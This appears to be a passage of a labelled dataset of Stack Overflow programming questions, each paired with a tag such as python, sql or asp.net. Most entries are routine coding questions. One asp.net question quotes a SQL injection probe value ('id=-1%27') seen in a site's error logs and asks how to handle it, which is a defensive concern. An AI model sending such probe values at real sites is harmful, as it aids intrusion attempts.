&lt;/form&gt;        &lt;/div&gt;    &lt;/div&gt; &lt;/div&gt;  &lt; php     }  &gt; &lt;div class= clear &gt;&lt;/div&gt; &lt;/div&gt;    /*style for parent div*/ #frnd_r_s_c{     width:450px;     height:200px;     background:blue;     margin-left:20px;     overflow-y:hidden;     overflow-x:scroll; }  /*floating the children div left to be able to display inline*/ #frnd_r_s_c &gt;div{     float:left; } </code></pre>   this is the dynamic create ones   <pre><code>&lt;div id= frnd_r_s_c &gt;                                                                                           &lt;div class= suggest-frnd &gt;                                                         &lt;div id= s_f_exit &gt;&amp;nbsp;&amp;times;&lt;/div&gt;                                                          &lt;div class= suggest-frnd-img &gt;                                                               &lt;img src=   &gt;                                                          &lt;/div&gt;                                                          &lt;div class= suggest-frnd-n-add &gt;                                                              &lt;div id= suggest-frnd-n &gt;ekene&amp;nbsp;gabriel&lt;/div&gt;                                                              &lt;div&gt;&lt;form id= s_frnd_form &gt;                                                                &lt;input type= hidden  name= s_frnd_id  value= 5 &gt;                                                                &lt;input type= submit  name= add_frnd  value= add &gt;                                                              &lt;/form&gt;&lt;/div&gt;                                                          &lt;/div&gt;                                                    &lt;/div&gt;                                                                                                           &lt;div class= suggest-frnd &gt;                                                          &lt;div id= s_f_exit &gt;&amp;nbsp;&amp;times;&lt;/div&gt;                                                          &lt;div class= suggest-frnd-img &gt;                                                               &lt;img src=   &gt;                                                          &lt;/div&gt;                                                          &lt;div class= suggest-frnd-n-add &gt;                                                              &lt;div id= suggest-frnd-n &gt;ebuka&amp;nbsp;gabriel&lt;/div&gt;                                                              &lt;div&gt;&lt;form id= s_frnd_form &gt;                                                                &lt;input type= hidden  name= s_frnd_id  value= 14 &gt;                                                                &lt;input type= submit  name= add_frnd  value= add &gt;                                                              &lt;/form&gt;&lt;/div&gt;                                                          &lt;/div&gt;                                                    &lt;/div&gt;                                                                                                           &lt;div class= suggest-frnd &gt;                                                          &lt;div id= s_f_exit &gt;&amp;nbsp;&amp;times;&lt;/div&gt;                                                          &lt;div class= suggest-frnd-img &gt;                                                               &lt;img src=   &gt;                                                          &lt;/div&gt;                                                          &lt;div class= suggest-frnd-n-add &gt;                                                              &lt;div id= suggest-frnd-n &gt;kc&amp;nbsp;kelvin&lt;/div&gt;                                                              &lt;div&gt;&lt;form id= s_frnd_form &gt;                                                                &lt;input type= hidden  name= s_frnd_id  value= 15 &gt;                                                                &lt;input type= submit  name= add_frnd  value= add &gt;                                                              &lt;/form&gt;&lt;/div&gt;                                                          &lt;/div&gt;                                                    &lt;/div&gt;                                                                                                           &lt;div class= suggest-frnd &gt;                                                          &lt;div id= s_f_exit &gt;&amp;nbsp;&amp;times;&lt;/div&gt;                                                          &lt;div class= suggest-frnd-img &gt;                                                               &lt;img src=   &gt;                                                          &lt;/div&gt;                                                          &lt;div class= suggest-frnd-n-add &gt;                                                              &lt;div id= suggest-frnd-n &gt;ecellent &amp;nbsp;chimezie&lt;/div&gt;                                                              &lt;div&gt;&lt;form id= s_frnd_form &gt;                                                                &lt;input type= hidden  name= s_frnd_id  value= 16 &gt;                                                                &lt;input type= submit  name= add_frnd  value= add &gt;                                                              &lt;/form&gt;&lt;/div&gt;                                                          &lt;/div&gt;                                                    &lt;/div&gt;                                                                                                           &lt;div class= suggest-frnd &gt;                                                          &lt;div id= s_f_exit &gt;&amp;nbsp;&amp;times;&lt;/div&gt;                                                          &lt;div class= suggest-frnd-img &gt;                                                               &lt;img src=   &gt;                                                          &lt;/div&gt;                                                          &lt;div class= suggest-frnd-n-add &gt;                                                              &lt;div id= suggest-frnd-n &gt;ecellent &amp;nbsp;chimezie&lt;/div&gt;                                                              &lt;div&gt;&lt;form id= s_frnd_form &gt;                                                                &lt;input type= hidden  name= s_frnd_id  value= 17 &gt;                                                                &lt;input type= submit  name= add_frnd  value= add &gt;                                                              &lt;/form&gt;&lt;/div&gt;                                                          &lt;/div&gt;                                                    &lt;/div&gt;                                                                                                &lt;div class= clear &gt;&lt;/div&gt;                                   &lt;/div&gt; </code></pre>,css
fast drawing of uiimage images on a uiview  in my app  i have to draw some images on a view  in real-time  in positions and scaling that frequently change over time. these images are a subset of those contained in a dictionary. here is the code  a bit summarized:   <pre><code>-(void)drawobjects:(nsarray*)objects withimages:(nsdictionary*)images &lt;etc&gt; {     // get graphic context and save it     cgcontextref context = uigraphicsgetcurrentcontext();     cgcontextsavegstate(context);      // display objects in reverse order     for (int i = [objects count] - 1; i &gt;= 0; i--) {         myobject *object = [objects objectatindex:i];          // check if object shall be visible         if (&lt;test to check whether the image shall be visible or not&gt;) {              // get object image             uiimage* image = &lt;retrieve image from  images   based on a key stored in  object &gt;;              // draw image             float x = &lt;calculate image destination x&gt;;             float y = &lt;calculate image destination y&gt;;             float imagewidth = &lt;calculate image destination width&gt;;             float imageheight = &lt;calculate image destination height&gt;;             cgrect imagerect = cgrectmake(x - imagewidth / 2  y - imageheight / 2  imagewidth  imageheight);             [image drawinrect:imagerect];         }     }      // restore graphic context     cgcontextrestoregstate(context); } </code></pre>   my problem is that this code is slow; it takes about 700 to 800 ms to perform the loop  when the number of images is about 15 (iphone 4  ios 4.3.5). i have experimented a bit  and it seems that the bottleneck is the drawinrect call  since if i exclude it  everything speeds up drammatically.    does anyone have suggestions to offer,ios
javascript: can t apply event listener to class   i m having problems applying an event listener to a class. if i try using id  it works  but if i try with class  nothing happens. i have four div s  all exactly equal. i want to change the one i click  but keeping the other three without change. is it possible     html   <pre><code>&lt;div class= card &gt;     - 6 pièces  dont 3 aveugles.     - cuisine - électroménagers intégrés.     - 2 salles de bains modernes. &lt;/div&gt; &lt;div id= ui  class= card &gt;     - 6 pièces  dont 3 aveugles.     - cuisine - électroménagers intégrés.     - 2 salles de bains modernes. &lt;/div&gt; &lt;div class= card &gt;     - 6 pièces  dont 3 aveugles.     - cuisine - électroménagers intégrés.     - 2 salles de bains modernes. &lt;/div&gt; &lt;div class= card &gt;     - 6 pièces  dont 3 aveugles.     - cuisine - électroménagers intégrés.     - 2 salles de bains modernes. &lt;/div&gt; </code></pre>   css   <pre><code>.card {    height: 100px;    width: 245px;    float: left;    box-shadow: 0 4px 8px 0 rgba(0 0 0 0.2);    font-size: 0.85em;    line-height: 1.5em;    margin: 15px;    overflow: hidden;    border-radius: 5px;   }  .expandcard {   height:500px;   width: 245px;   float: left;   box-shadow: 0 4px 8px 0 rgba(0 0 0 0.2);   font-size: 0.85em;   line-height: 1.5em;   margin: 15px;   border-radius: 5px; } </code></pre>   js this doesn t work   <pre><code>var teste = document.getelementsbyclassname( card ); teste.addeventlistener( click   function changesize() {    teste.classname =  expandcard ; }); </code></pre>   this works for the element with the id( ui )   <pre><code>var teste = document.getelementbyid( ui );  teste.addeventlistener( click   function changesize() {    teste.classname =  expandcard ; }); </code></pre>,javascript
is there a variation of the while loop that will only run the clause once until a change occurs   sorry about the title  this is a bit of a tough question to phrase. i m using python. basically  i want the program to check a variable indefinitely. if the variable goes above 100 for example  i want code block a to run <strong>only once</strong>  and then i want the program to do nothing until the variable goes back below 100  then run code block b  and wait again until the variable goes back above 100  and then run block a again  and repeat.    the current setup i ve written is as follows:    <pre><code>while on = true:     if value_ind &gt;= 100:         open_time = time()     else:          close_time = time()         calculate_time_open(open_time  close_time) </code></pre>   the obvious problem here is that whichever if/else code block is true will run itself indefinitely  and create multiple entries in my lists for only one event. so  how would i make the code blocks run only once and then wait for a change instead of repeating constantly while waiting for a change  thanks in advance.,python
python - load a webpage in hidden  i want to load a webpage in python and do something    <pre><code>import webbrowser url =  http://google.com  webbrowser.open(url) //do something </code></pre>   but i don t want the browser has been showed on my screen  i want to hide it so that i can do some other stuff  please give me some advices  thanks,python
need to reload variable after updating attributes in rails  when i m testing in rspec or cucumber  everytime i update an attribute  i have to  reload  the variable again:   <pre><code>  @answer.update_attributes(notified: false)   @answer = answer.find(@answer) </code></pre>   otherwise @answer doesn t update. this seems inefficient. is this right  am i doing something wrong or this is the way it s suposed to work     edit: complete spec   <pre><code>describe  notify method  do    before (:each) do     @user = factorygirl.create(:user)     friend = generate_friend_for_user(@user)     @answer = factorygirl.create(:answer  user: friend  contact: @user.service)     @answer.update_attributes(notified: false)     @answer = answer.find(@answer)   end  it  should send an email and update last_email field  do   @user.update_attributes(last_email: 25.hours.ago)   @answer.notify.should == true   @user = user.find(@user)   @user.last_email.should &gt; 1.minute.ago end </code></pre>,ruby-on-rails
is it possible to query multiple records from the same most recent date  i have a query that returns the following results   <pre><code>date        type           6/7/18      r104             6/7/18      sunset          6/7/18      rabbit-t           6/7/18      sunset          6/8/18      r104             6/8/18      s400            6/9/18      singer         6/9/18      sunset           6/9/18      rabbit-m       6/9/18      sunset          6/9/18      sunset          </code></pre>   is it possible to only pull the records from the most recent date (here 6/9/18) regardless of what the record is      this is my query     <pre><code> select     ot.sale_date as  sale date       otr.type_33 as  type       ide.s_style as  style       att.att_color as  color       from  system.order_tracking as ot left outer join system.order_type as otr on ot.clientid=otr.clientid and ot.salesperiod=otr.salesperiod and  ot.custhbdt_uid=otr.custhbdt_uid left outer join system.item_descriptions_east as ide  on otr.clientid=ide.clientid and otr.salesperiod=ide.salesperiod and  otr.custhbdu_uid=ide.custhbdu_uid left outer join system.attributes as att  on ide.clientid=att.clientid and ide.salesperiod=att.salesperiod and   ide.custhbdv_uid=att.custhbdv_uid    where ot.access_code =  1  </code></pre>,sql
multiple instances of checkbox selection  i am not sure if the title is right for this  or my explanation. i hope you understand what i am trying to do when you see the example fiddle. <a href= https://jsfiddle.net/bg3045rs/  rel= nofollow noreferrer >https://jsfiddle.net/bg3045rs/</a>    the javascript code that i use is like this:   <pre><code>$( #checkall ).click(function(){     $( input:checkbox ).not(this).prop( checked   this.checked)     .trigger( change ); });  $( .selector ).on( change   function() {   var parent = $(this).closest( form );    $( #  + parent.data( checktable ))     .find( [dbval=   + this.name +   ] )     .toggleclass( highlight   $(this).is( :checked ));   parent     .find( .all )     .prop(        checked         parent.find( .selector:checked ).length === parent.find( .selector ).length     ); });  $( .all ).on( change   function() {   $(this).closest( form ).find( .selector )     .prop( checked   $(this).is( :checked ))     .trigger( change ); });  $( .all:checked ).each(function() {   $(this).closest( form ).find( .selector ).prop( checked   true).trigger( change ); });  $( .selector ).trigger( change ); </code></pre>   mind you that i didn t write this code. it works perfectly though  i couldn t make a small adjustment. as seen in the example fiddle  when i tried to make a select all(table 1&amp;2) and select all(table 3&amp;4) separately  i failed. i d like an expert touch on the code  what change should make so i can achieve selective highlighting here. please ask if anything is not clear.thanks in advance!,jquery
setting an unsigned short in an unsigned char array  i have the following typedefs   <pre><code>typedef unsigned char   byte;    typedef unsigned short  word; </code></pre>   now  i have an array that looks like this   <pre><code>byte redundantmessage[6]; </code></pre>   and a field which looks like this   <pre><code>word vehiclespeedtoword = static_cast&lt;word&gt;(redundantvelocity); </code></pre>   i would like to set the third and fourth bytes of this message to the value of  <code>vehiclespeedtoword</code>. will this do so:   <pre><code>redundantmessage[3] = vehiclespeedtoword; </code></pre>   will the third byte of <code>redundantmessage</code> automatically be overwritten,c++
access mapped drive when running as user  i have a program that runs elevated. from this program i launch other executables.    now by default any process i create will run elevated. so  for some programs it runs  i want them to run as if they were not elevated  as the standard user who s logged in.    the main elevated program is running under the user account of the logged in user.    so this is what i tried   <pre><code>var psi = new processstartinfo(exe.getexepath()); psi.useshellexecute = false; psi.redirectstandarderror = false; psi.redirectstandardinput = false; psi.redirectstandardoutput = false; psi.workingdirectory = exe.version.getinstallpath(); if(exe.elevated == false) {     psi.username = global.username;     var pass = new securestring();     global.password.tochararray().tolist().foreach(p =&gt; pass.appendchar(p));     psi.password = pass; } process = process.start(psi); </code></pre>   that works  as in the started program is not elevated. however  it at that point loses access to all mapped network drives for some odd reason.    i even tried doing something like this <a href= https://stackoverflow.com/questions/9909784/impersonating-a-windows-user >impersonating a windows user</a> from within the application that launches  and it also doesn t work.    so i guess i m wondering  how can i gain back access to these mapped drives (all applications are running under the correct user).,c#
how to remove many elements in a very big dict   i have a very large <code>dict</code>  and i want to <code>del</code> many elements from it. perhaps i should do this:   <pre><code>new_dict = { key:big_dict[key] for key in big_dict if check(big_dict[key] } </code></pre>   however  i don t have enough memory to keep both <code>old_dict</code> and <code>new_dict</code> in ram. is there any way to deal    <hr>   add:    i can t del elements one by one. i need to do a test for the values to find which elements i want to del.    i also can t del elements in a for loop like:    <pre><code>for key in dic:      if test(dic(key)):          del dic[key] </code></pre>   it case a error... can t change len(dic) in the loop...    my god... i even can t make a set to remember keys to del  there are too much keys...    i see  if dict class don t have a function to do this  perhaps the only way to do this is to bug a new computer...,python
how to make only the item template invisible   i want to put a if statement in my code behind to make only the item template in my repeater invisible  can i do this     <pre><code>    &lt;asp:repeater runat= server  id= repeater_categorymenu &gt;         &lt;headertemplate&gt;             &lt;div id= productcategory &gt;         &lt;/headertemplate&gt;         &lt;itemtemplate&gt;             hey         &lt;/itemtemplate&gt;         &lt;footertemplate&gt;             &lt;/div&gt;         &lt;/footertemplate&gt;     &lt;/asp:repeater&gt; </code></pre>   the following code makes the whole repeater invisible not just the item template..   <pre><code>repeater_categorymenu.visible = false; </code></pre>,asp.net
using sql where clause with or operator  is this possible with normal  non-vendor specific sql  if not  what can one do to search two different columns    <pre><code>select count(*)  from airpapr_base where article_content_title_en like  %google%  or where article_content_text_en like  %google%  </code></pre>,sql
jquery inquiry regarding the post method  <a href= http://net.tutsplus.com/tutorials/javascript-ajax/5-ways-to-make-ajax-calls-with-jquery/  rel= nofollow >http://net.tutsplus.com/tutorials/javascript-ajax/5-ways-to-make-ajax-calls-with-jquery/</a>    i am currently reading the tutorial and paused at the   pass parameters through the get method  part.   <pre><code>$( #load_get ).click(function(){       $( #result )           .html(ajax_load)           .load(loadurl   language=php&amp;version=5 );   });  </code></pre>   looking at the second parameter of the <code>.load</code> function  is it necessary to pass those values  when load the php file  could i leave it blank,jquery
bad practice: exposing an event in an interface   is it considered bad practice to expose events in .net interfaces     i have found very few .net framework interfaces that expose events.    thanks,.net
if statement in sql query  i have two columns in the database: <code>campus1</code> and <code>campus2</code>  i want to write a query to do the following scenario:   <blockquote>    if <code>campus2</code> is null then only compare <code>campus1</code> data  else compare both <code>campus1</code> and <code>campus2</code> data.  </blockquote>   i wrote the query like below but got error message on it.   <pre><code>select * from tbl1 where  case when  campus2 is null then (campus1=@campus or campus1 is null) else    (campus1=@campus or campus1 is null) and (campus1=@campus or campus2 is null) end </code></pre>   can anyone point me to the right direction,.net
error handling for query string parameters -1%27  getting bombarded  i am not an expert  but not a rookie either. i m using asp.net webforms. i set up an error catching routine in global.asax to log the error info in an sql table and redirect to a friendly error page. i began finding hundreds of exceptions per day with this in the query string   id=-1%27 . i use query strings for items and categories but only allow integers of 3 digits or less. then i started geo-locating the ips. the vast majority of them are from russia and surrounding countries. so i started storing all of the ips in a table. is anyone else experiencing this and how best to handle it. i want to catch legitimate errors  but this is a major annoyance. any input would be appreciated. i have googled for 2 days and can t find anything related specifically to this issue.,asp.net
"converting values on html form to a string  <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;fieldset&gt;
   &lt;legend&gt;making a string&lt;/legend&gt;
   test1:&lt;br/&gt;
   &lt;input type= text  name= test1field /&gt;&lt;br/&gt;
   test2:&lt;br/&gt;
   &lt;input type= text  name= test2field /&gt;&lt;br/&gt;
   test3:&lt;br/&gt;
   &lt;select name= test3field &gt;
     &lt;option value= test1 &gt;0&lt;/option&gt;
     &lt;option value= test2 &gt;1&lt;/option&gt;
   &lt;/select&gt;
   &lt;br/&gt;
   test4:&lt;br/&gt;
   &lt;select name= test4field &gt;
     &lt;option value= test1 &gt;0&lt;/option&gt;
     &lt;option value= test2 &gt;1&lt;/option&gt;
   &lt;/select&gt;
   &lt;br/&gt;
   test5:&lt;br/&gt;
   &lt;select name= test5field &gt;
     &lt;option value= test1 &gt;0&lt;/option&gt;
     &lt;option value= test2 &gt;1&lt;/option&gt;
   &lt;/select&gt;
   &lt;br/&gt;
   &lt;br/&gt;
   &lt;button&gt; submit &lt;/button&gt;
 &lt;/fieldset&gt;</code></pre>
 </div>
 </div>
     i m fairly new to html and trying to make some simple applications. i want to be able to convert the values that are inserted into this html <code>&lt;form&gt;</code> into a string once the submit button is pressed.    <strong>for example:</strong><br> <code> test1fieldvalue  test2fieldvalue  test3fieldvalue  test4fieldvalue  test5fieldvalue </code>    is there any way that this can be done",html
how to convert numeric value in english to marathi numeric value in c#   i am developing an windows application in c#  for that i need to convert english numeric value to marathi numeric value. for example.  123  =  १२३,c#
div element not properly positioned  i have a html table column defined like this:   <pre><code>&lt;td&gt;         &lt;form:checkbox cssclass= check  path= somepath  id= somepath  onclick= somefn(this);  /&gt; &lt;form:label path= somepath  for= somepath &gt;&lt;spring:message code= label.somelabel  /&gt;&lt;/form:label&gt; &lt;div&gt;11&lt;/div&gt; &lt;/td&gt; </code></pre>   so there is a checkbox  a label and a div element with text of  11 .  now the 11 shows up below the checkbox. but i want it to show to the right of the label.    why is this happening,html
splash page: email collection (rails 3.2)  i m new to programming and new to ror.    i m trying to build a simple email collection form for a splash page  but i m getting an exception when i attempt to load the page in the browser. below are the four relevant files:    <strong>emails_controller.rb</strong>   <pre><code>class emailscontroller &lt; applicationcontroller   def new     render :layout =&gt; false     @email = email.new   end    def show     email = email.find(params[:id])   end end </code></pre>   <strong>email.rb</strong>   <pre><code>class email &lt; activerecord::base   attr_accessible :email    email_regex = /\a[\w+\-.]+@[a-z\d\-.]+\.[a-z]+\z/i    validates :email  :presence   =&gt; true                  :format     =&gt; { :with =&gt; email_regex }                  :uniqueness =&gt; { :case_sensitive =&gt; false } end </code></pre>   <strong>routes.rb</strong>   <pre><code>splashtest::application.routes.draw do   get  emails/new     match  splash   :to =&gt;  emails#new  end </code></pre>   <strong>new.html.erb</strong>   <pre><code>&lt;h1&gt;get notified when we launch:&lt;/h1&gt;  &lt;%= form_for(@email) do |f| %&gt;   &lt;div class= field &gt;     &lt;%= f.label :email %&gt;&lt;br /&gt;     &lt;%= f.text_field :email %&gt;   &lt;/div&gt;   &lt;div class= actions &gt;     &lt;%= f.submit  sign up  %&gt;   &lt;/div&gt; &lt;% end %&gt; </code></pre>   here s the error i get when i load <a href= http://localhost:3000/splash  rel= nofollow >http://localhost:3000/splash</a>:   <blockquote>    undefined method `model_name  for nilclass:class  </blockquote>   please help me understand why i m getting that error when i try and view the page. my goal is to save the email address in my database. i understand that more code is required to do that  but i d like to get past this error first.,ruby-on-rails
finger swipe in android application  i have created an application where in i have a page which contains for text and one  next  button and one  previous  button. clicking  next  button  page shows some next text that is being takes from a list which contains a list of string text.  previous  button shows the last visited text.    it is working fine. but now i want to implement something new where swipe of finger by user would take to the next text or previous. finger swipe as used while accepting a call.,android
how to prohibit my sprite object to move on certain coordinates of canvas  i want to prohibit my <code>sprite</code> object to move on certain coordinates of canvas. how can i do this    what i have done until now:   <ol> <li>package project1;</li> </ol>  <pre class= lang-java prettyprint-override ><code>import java.awt.*;        // using awt s graphics and color  import java.awt.event.*;  // using awt s event classes and listener interfaces import javax.swing.*;     // using swing s components and containers  /**   * custom graphics example: using key/button to move a object left or right. * the moving object (sprite) is defined in its own class  with its own   * operations and can paint itself.  *   */  class sprite { // variables (package access) public int x; public int y; int width  height; // use an rectangle for illustration color color = color.red; // color of the object // constructor public sprite(int x  int y  int width  int height  color color) {       this.x = x;       this.y = y;       this.width = width;       this.height = height;       this.color = color; } // paint itself given the graphics context public void paint(graphics g) {       g.setcolor(color);       g.fillrect(x  y  width  height); // fill a rectangle       // g.drawline(20  0  20  240);       system.out.println( paint   x:  +x+   y:  +y);        //system.out.println( paint 2nd   x:  +x+   y:  +y);    } }    public class project1 extends jframe { // define constants for the various dimensions     public static final int canvas_width = 400;     public static final int canvas_height = 240;     public static final color canvas_bg_color = color.cyan;     private drawcanvas canvas;     // the custom drawing canvas (an inner class extends jpanel)     private  sprite sprite;     // the moving object     // constructor to set up the gui components and event handlers     public project1() {       // construct a sprite given x  y  width  height  color       int x = 0 y = 0;       sprite = new sprite(canvas_width / 2 - 30  canvas_height / 2 - 30              10  10  color.red);        // set up a panel for the buttons       jpanel btnpanel = new jpanel(new flowlayout());       jbutton btnleft = new jbutton( move left  );       btnpanel.add(btnleft);       btnleft.addactionlistener(new actionlistener() {          @override          public void actionperformed(actionevent evt) {              moveleft();               requestfocus(); // change the focus to jframe to receive keyevent          }       });         //jpanel btnpanel1 = new jpanel(new flowlayout());       jbutton btndown = new jbutton( move down  );       btnpanel.add(btndown);       btndown.addactionlistener(new actionlistener() {          @override          public void actionperformed(actionevent evt) {             movedown();             requestfocus(); // change the focus to jframe to receive keyevent          }       });        jbutton btnright = new jbutton( move right );       btnpanel.add(btnright);       btnright.addactionlistener(new actionlistener() {          @override          public void actionperformed(actionevent evt) {             moveright();             requestfocus(); // change the focus to jframe to receive keyevent          }       });          jbutton btnup = new jbutton( move up );       btnpanel.add(btnup);       btnup.addactionlistener(new actionlistener() {          @override          public void actionperformed(actionevent evt) {             moveup();             requestfocus(); // change the focus to jframe to receive keyevent          }       });        // set up the custom drawing canvas (jpanel)       canvas = new drawcanvas();       canvas.setpreferredsize(new dimension(canvas_width  canvas_height));        // add both panels to this jframe       container cp = getcontentpane();       cp.setlayout(new borderlayout());       cp.add(canvas  borderlayout.center);       cp.add(btnpanel  borderlayout.south);        //  super  jframe fires keyevent       addkeylistener(new keyadapter() {          @override          public void keypressed(keyevent evt) {             switch(evt.getkeycode()) {                case keyevent.vk_left:  moveleft();  break;                case keyevent.vk_right: moveright(); break;                case keyevent.vk_down: movedown(); break;                case keyevent.vk_up: moveup(); break;             }          }       });        setdefaultcloseoperation(jframe.exit_on_close);       settitle( move a sprite );       pack();            // pack all the components in the jframe       setvisible(true);  // show it       requestfocus();    //  super  jframe requests focus to receive keyevent    }      // helper method to move the sprite left    private void moveleft() {       // save the current dimensions for repaint to erase the sprite       int savedx = sprite.x;       // update sprite       sprite.x -= 10;       // repaint only the affected areas  not the entire jframe  for efficiency       canvas.repaint(savedx  sprite.y  sprite.width  sprite.height); // clear old area to background       canvas.repaint(sprite.x  sprite.y  sprite.width  sprite.height); // paint new location    }      // helper method to move the sprite right    private void moveright() {       // save the current dimensions for repaint to erase the sprite       int savedx = sprite.x;       // update sprite       sprite.x += 10;       // repaint only the affected areas  not the entire jframe  for efficiency       canvas.repaint(savedx  sprite.y  sprite.width  sprite.height); // clear old area to background       canvas.repaint(sprite.x  sprite.y  sprite.width  sprite.height); // paint at new location    }      private void movedown() {       //save the current dimensions for repaint to erase the sprite       int saved = sprite.y;       // update sprite       sprite.y += 10;       // repaint only the affected areas  not the entire jframe  for efficiency      canvas.repaint( sprite.x  saved  sprite.width  sprite.height); // clear old area to background       canvas.repaint(sprite.x  sprite.y  sprite.width  sprite.height); // paint new location    }   private void moveup() {       //save the current dimensions for repaint to erase the sprite       int savedy = sprite.y;       // update sprite       sprite.y -= 10;       // repaint only the affected areas  not the entire jframe  for efficiency      canvas.repaint( sprite.y  savedy  sprite.width  sprite.height); // clear old area to background       canvas.repaint(sprite.x  sprite.y  sprite.width  sprite.height); // paint new location    }       // define inner class drawcanvas  which is a jpanel used for custom drawing    class drawcanvas extends jpanel {       @override       public void paintcomponent(graphics g) {          super.paintcomponent(g);          setbackground(canvas_bg_color);          sprite.paint(g);  // the sprite paints itself       }    }      // the entry main() method    public static void main(string[] args) {       // run gui construction on the event-dispatching thread for thread safety       swingutilities.invokelater(new runnable() {          @override          public void run() {             new project1(); // let the constructor do the job          }       });     }   } </code></pre>,java
array in javascript (array.foreach vs array.map)  please i have a very simple question. what is the different between the array.foreach and  array.map. i am confuse because they both run a function on each element of an array.    if they are the same why did they introduce the map function in es6. if they are not where should map be used ahead of foreach.,javascript
forcing a jquery ready block to run after all other ready blocks  is it possible to have one jquery ready block executed after all others have done so.    i have this in my master page ...   <pre><code>&lt;script type= text/javascript &gt;     $(document).ready(function()     {         $( input[type= text ]:enabled:first   document.forms[0]).focus().select();     }); &lt;/script&gt; </code></pre>   and this in one of my other pages ...   <pre><code>&lt;script type= text/javascript &gt;     $(document).ready(function()     {         $( textarea.message-body ).wysiwyg();     }); &lt;/script&gt; </code></pre>   the problem i am seeing is that the first block is executed before the second block  which is causing a problem with the tab key. what s happening is that the keyboard focus goes to the address bar in my browser when i press the tab key. i ve changed the code slightly to have this in my master page ...   <pre><code>&lt;script type= text/javascript &gt;     $(document).ready(function()     {         var bodies = $( textarea.message-body );         if (bodies.length &gt; 0)         {             bodies.wysiwyg();         }          $( input[type= text ]:enabled:first   document.forms[0]).focus().select();     }); &lt;/script&gt; </code></pre>   and do away with the other ready block completely. doing that makes the tab key work properly  and set the focus onto my textarea.    i d rather not have page specific code in my master page.    so  is there a way to make my textbox focusing code run after the wysiwyg code,jquery
how to read this file into variables   this is the file that i need to read.   <pre><code>coca-cola 0.75 20 root beer 0.75 20 sprite 0.75 20 spring water 0.80 20 apple juice 0.95 20 </code></pre>   i need each of this to be into a variable. for example drinkname  drinkcost  drinkquantity. i m using c++  please help me.,c++
using csla.net with active directory  has anyone implemented active directory verification instead of sql server with this framework  where can i find some information on this,.net
seo for angular js websiter  how to do search engine optimization (seo) for the  website built with angular js.    please explain how can we do it.,angularjs
c++ how can i get my program to display value instead of memory location   i have a c++ program that is supposed to read data from a file into an array. once the array is set up  the user inputs a row number they want displayed and the program is supposed to display the value stored in that row. the program successfully reads the data into the array but  it doesn t display the value stored in the row  instead it displays the memory location. here is the code i wrote:    <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;iomanip&gt; #include &lt;string&gt;  using namespace std;  int main() {  ifstream seatprices;  static const int num_rows = 15;  static const int num_seats = 30;  string seatstructures[num_rows][num_seats];  double price[num_rows];  int rowrequested;    seatprices.open( seatprices.dat );    if (!seatprices)     cout &lt;&lt;  error opening seatprices data file.\n ;   else   {     for (int rows = 0; rows &lt; num_rows; rows++)     {         seatprices &gt;&gt; price[num_rows];         cout &lt;&lt; endl &lt;&lt;  row   &lt;&lt; (rows + 1) &lt;&lt;  :\t ;         cout &lt;&lt;  $  &lt;&lt; price[num_rows];     }     cout &lt;&lt; endl &lt;&lt; endl;   }   seatprices.close();    cout &lt;&lt;  in which row would you like to find seats(1 - 15)   ;   cin &gt;&gt; rowrequested;   cout &lt;&lt; fixed &lt;&lt; showpoint &lt;&lt; setprecision(2);   cout &lt;&lt;  price per seat: $  &lt;&lt; price[rowrequested] &lt;&lt; endl;    return 0; } </code></pre>,c++
convert portion of code into a function php  this is probably very easy to do but for some reason i can t seem to figure this out. let s say i have code like this:   <pre><code>$elements = array( a    b    c    d );  $myvalues = array(      values  =&gt; array(          a  =&gt; array(              xx  =&gt; 3               yy  =&gt;            )           b  =&gt; array(              xx  =&gt;                  yy  =&gt;            )           c  =&gt; array(              xx  =&gt; 8.4               yy  =&gt;            )           d  =&gt; array(              xx  =&gt; 18.4               yy  =&gt;                )         ) );  foreach($elements as $elem) {     if($myvalues[ values ][$elem][ xx ] !=   )     {         if($myvalues[ values ][$elem][ xx ] &lt; 6)         {             $myvalues[ values ][$elem][ yy ] =   less than 6 ;         }         elseif($myvalues[ values ][$elem][ xx ] &gt;= 6 &amp;&amp; $myvalues[ values ][$elem][ xx ] &lt; 15)         {             $myvalues[ values ][$elem][ yy ] =   between 6 and 16 ;         }         else         {             $myvalues[ values ][$elem][ yy ] =  greater than 15 ;         }              testfunc($myvalues[ values ][$elem][ xx ]); // this is how i would call my function once i replace the code above     } } </code></pre>   as you can see here what i m trying to do is to change the value of <code>$myvalues[ values ][$elem][ yy ]</code> based on some conditions. what i want to do is to replace the <code>if elseif else</code> section of codes by a function that performs the same action.    i tried something like:   <pre><code>function testfunc($xx) {     if($xx &lt; 6)     {         $yy =  less than 6 ;     }     elseif($xx &gt;= 6 &amp;&amp; $xx &lt; 15)     {         $yy =   between 6 and 16 ;     }     else     {         $yy =  greater than 15 ;     }      return $yy; } </code></pre>   but obviously this won t work because i m not changing the value of <code>$myvalues[ values ][$elem][ yy ]</code> inside my function.     <strong>note</strong> i really want to pass only the value of <code>$myvalues[ values ][$elem][ xx ]</code> inside my function and return the changed value of <code>$myvalues[ values ][$elem][ yy ]</code>.    can anybody help me with this     thanks in advance,php
dynamic value in textbox  i have a text box like this:   <pre><code>&lt;asp:textbox id= txtlogin  runat= server  text= &lt;%# struserid %&gt; &gt;&lt;/asp:textbox&gt; </code></pre>   <code>struserid</code> is a string value set in my codebehind and i bind the textbox to see the value. i tried with <code>&lt;%= struserid %&gt;</code>  but it doesnt work for me. can you please tell me why     also  i have a hidden field like this:   <pre><code>&lt;input id= hdnuserid  runat= server  type= hidden  value= &lt;%=txtlogin.clientid %&gt;   /&gt; </code></pre>   and i have a function prints the hidden field value like this:   <pre><code>function checkforvalue() {     var uid = window.document.getelementbyid( &lt;%= txtlogin.clientid %&gt; ).value;     alert(hdnuserid);      return false; } </code></pre>   but this alert always prints as  [object] . can anyone please explain this  looks like <code>&lt;%= value %&gt;</code> doesnt work at all. but i have seen in my earlier projects where the existing code has these kinda lines!!,asp.net
calling html code from other html code  a good programer believes in code re-useability. i am in new html and css programming. when i code in html i have to write my full code in one html file. often many programming logic and code repeats in my code. is there a way to reuse my code  does function concept work in html  here i am attaching my code where i have to write following lines repeatedly:   <pre><code>&lt;a href= login.html &gt;login&lt;/a&gt;| &lt;a href= logout.html &gt;logout&lt;/a&gt;| &lt;a href= profile.html &gt;profile&lt;/a&gt; </code></pre>,html
html select option separator  how do you make a separator in a select tag    <pre><code>new window new tab ----------- save page ------------ exit </code></pre>,html
